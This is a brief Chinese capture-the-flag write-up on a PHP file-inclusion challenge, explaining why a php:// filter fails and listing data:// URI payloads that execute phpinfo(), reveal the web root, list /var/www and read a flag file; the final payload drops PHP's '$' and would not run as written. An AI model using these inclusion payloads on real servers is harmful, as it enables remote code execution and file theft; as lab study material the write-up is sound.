32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
艾莉丝努力练剑41 分钟前
【C语言16天强化训练】从基础入门到进阶:Day 7
java·c语言·学习·算法
Ro Jace1 小时前
科研笔记:博士生手册
笔记
#include>1 小时前
【Golang】有关垃圾收集器的笔记
笔记·golang
自强的小白2 小时前
学习Java24天
java·学习
Qlittleboy2 小时前
手机、电脑屏幕的显示坏点检测和成像原理
经验分享·笔记
天纵软件3 小时前
全国网络安全知识竞赛有哪些
网络安全·技能知识竞赛·知识竞赛活动公司·知识竞赛活动策划·知识竞赛软件·高端知识竞赛活动
SalvoGao3 小时前
空转学习 | cell-level 与 spot-level的区别
人工智能·深度学习·学习
std860213 小时前
ISO 22341 及ISO 22341-2:2025安全与韧性——防护安全——通过环境设计预防犯罪(CPTED)
安全
Magnetic_h5 小时前
【iOS】SDWebImage第三方库源码学习笔记
笔记·学习·ios·objective-c·cocoa
悠哉清闲6 小时前
C ++代码学习笔记(一)
c++·笔记·学习